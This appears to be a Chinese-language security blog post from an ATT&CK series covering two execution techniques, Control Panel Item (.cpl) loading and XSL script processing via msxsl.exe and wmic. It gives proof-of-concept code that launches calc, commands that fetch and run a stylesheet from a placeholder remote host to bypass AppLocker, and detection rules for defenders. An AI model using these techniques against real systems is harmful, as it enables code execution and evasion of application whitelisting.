ATT&CK攻防初窺系列--執行篇(一)

AiLPHA發表於2019-11-19

ATT&CK攻防初窺系列--執行篇(一)

如果要評選網路安全界近年熱詞排行的話,那麼ATT&CK這個詞一定是穩居top3的。我們經常看到關於ATT&CK的一些技術文章分享,那麼ATT&CK到底是什麼呢?MITRE ATT&CK™ is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.這是官網對於ATT&CK框架的解釋,向我們表明了ATT&CK是一個基於真實世界所觀測到的對抗性戰術和知識庫。其將眾多的紅隊技術分門別類的列舉了出來,對於紅隊的進攻有著很強的指導意義。而對於藍隊來說,ATT&CK框架為藍隊提供了一種相互溝通的語言,可以理解為一種通用貨幣,使得藍隊可以圍繞著ATT&CK框架共築安全長城。介於ATT&CK框架對於紅藍雙方學習的重要性和必要性,我們團隊將會對ATT&CK的研究專門寫一個系列,具體介紹ATT&CK技術的復現和威脅特徵提取。

ATT&CK框架將對抗性戰術分為幾個階段,分別是Initial Access、Execution、Persistence、Privilege Escalation、Defense Evasion、Credential Access、Discovery、Lateral Movement、Collection、C2、Exfiltration、impact。我們首先從執行入手,帶領大家初窺ATT&CK攻防。

T1196-Control Panel Items

控制皮膚專案是註冊的可執行檔案(.exe)或控制皮膚(.cpl)檔案,CPL實際上是重新命名的動態連結庫(.dll)檔案,可匯出CPlApplet函式。控制皮膚項可以直接從命令列執行,也可以通過Control_RunDLL(API)呼叫或者直接雙擊檔案。

攻擊者可以使用控制皮膚專案來執行任意命令。惡意控制皮膚專案可以通過釣魚郵件投遞,也可以作為多階段惡意軟體的一個執行方法。控制皮膚專案,尤其是CPL檔案,也可能會繞過應用程式或副檔名白名單。

命令執行

// dllmain.cpp : 定義 DLL 應用程式的入口點。
#include "stdafx.h"
#include <windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
WinExec("cmd.exe /c calc", SW_SHOW);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

這裡我們用了點取巧的辦法,直接將程式碼寫在了attach裡面,將上述程式碼編譯為dll檔案CPIApplet.dll(可以隨意命名),然後將CPIApplet.dll重新命名為CPIApplet.cpl

技術復現

control.exe c:\users\W10PC1\desktop\CPIApplet.cpl   //這裡cpl一定要採用絕對路徑否則失敗


ATT&CK攻防初窺系列--執行篇(一)

 

技術復現(雙擊)

 


ATT&CK攻防初窺系列--執行篇(一)

技術復現(使用匯出函式Control_RunDLL)

rundll32.exe shell32.dll,Control_RunDLL c:\users\W10PC1\desktop\CPIApplet.cpl

威脅檢測

資料來源:API監視,二進位制檔案後設資料,DLL監視,Windows登錄檔,Windows事件日誌,程式命令列引數,程式監視

程式特徵:(級別:高)

# 無論是通過control.exe執行、還是雙擊,最後都會通過rundll32呼叫shell32的匯出函式Control_RunDLL來執行payload
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL' AND CommandLine regex '^.*\.cpl$'

 


ATT&CK攻防初窺系列--執行篇(一)

程式特徵:(級別:僅審計)

# 執行的payload檔案字尾名不一定是cpl,可以是任意字尾,為了防止被繞過檢測。需要記錄其他相關呼叫Control_RunDLL API的行為
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL'

 


ATT&CK攻防初窺系列--執行篇(一)

T1220 XSL Script Processing

XSL 指擴充套件樣式表語言(EXtensible Stylesheet Language)。全球資訊網聯盟 (W3C) 開始發展 XSL 的原因是:存在著對於基於 XML 的樣式表語言的需求。在紅藍對抗中,使用XSL檔案執行惡意程式碼有時可以幫助我們繞過APPLocker。下面介紹兩種利用手段。

命令執行

技術復現(MSXSL.EXE)

msxsl.exe是微軟用於命令列下處理XSL的一個程式,通過它我們可以執行XSL內的JavaScript進而執行系統命令。下載地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。msxsl命令列接收形為 msxsl.exe {xmlfile} {xslfile} 的引數。由於XSL算是一種特殊的XML,我們可以使用msxsl.exe {xslfile} {xslfile}呼叫xsl檔案內的命令。

Ail.xsl

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="https://www.dbappsecurity.com.cn">
 
<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
   return nodelist.nextNode().xml;
 
   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

本地執行

msxsl.exe Ail.xsl Ail.xsl


ATT&CK攻防初窺系列--執行篇(一)

遠端執行

msxsl.exe http://xxx.xxx.xxx.xxx/Ail.xsl http://xxx.xxx.xxx.xxx/Ail.xsl


ATT&CK攻防初窺系列--執行篇(一)

技術復現(WMIC.EXE)

wmic可以通過形如:wmic.exe {wmiccommand} /FORMAT:{xslfile}的方式執行xsl內的惡意程式碼。{wmic command內可以填寫任意的wmic可執行的命令}

本地執行

wmic process get name /format:Ail.xsl


ATT&CK攻防初窺系列--執行篇(一)

 

遠端執行

wmic process get name /format:"http://xxx.xxx.xxx.xxx/Ail.xsl"      //這裡的format後的網址一定要加上雙引號不然會報錯


ATT&CK攻防初窺系列--執行篇(一)

 

威脅檢測

資料來源:程式監視,程式命令列引數,網路的程式使用,DLL監視

MSXSL.EXE

程式特徵:(級別:高)

#當MSXSL.EXE作為父程式建立其他程式時視為可疑
ParentImage regex '^.*msxsl\.exe$'

 

ATT&CK攻防初窺系列--執行篇(一)


載入項特徵:(級別:高)

#當MSXSL.EXE載入jscript.dll時視為可疑
Image regex '^.*msxsl\.exe$' AND ImageLoaded contains 'jscript.dll'

ATT&CK攻防初窺系列--執行篇(一)

 

WMIC.EXE

載入項特徵:(級別:高)

#當WMIC.EXE載入jscript.dll視為可疑
Image regex '^.*wmic\.exe$' AND ImageLoaded contains 'jscript.dll'

ATT&CK攻防初窺系列--執行篇(一)

 

相關文章